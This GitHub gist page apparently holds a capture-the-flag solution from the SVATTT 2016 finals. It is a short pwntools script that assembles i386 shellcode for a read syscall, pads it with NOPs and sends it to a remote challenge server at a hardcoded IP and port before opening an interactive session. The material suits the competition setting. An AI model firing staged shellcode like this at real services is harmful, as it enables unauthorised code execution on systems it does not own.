Skip to content

Instantly share code, notes, and snippets.

@chitoge
Created December 2, 2016 16:47
Show Gist options
  • Save chitoge/dfd49a9732f111419ecfc6b0210e173f to your computer and use it in GitHub Desktop.
Save chitoge/dfd49a9732f111419ecfc6b0210e173f to your computer and use it in GitHub Desktop.
SVATTT 2016 Final RE 1
from pwn import *
context.arch = 'i386'
payload = 'mov al, 0x3; mov bl, 0x3; sub cl, 0x80; mov dx, 0x1000; int 0x80; ret'
payload = asm(payload)
print len(payload)
r = remote('139.59.235.1', 40002)
r.send(payload.ljust(16, '\x90'))
r.interactive()
r.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment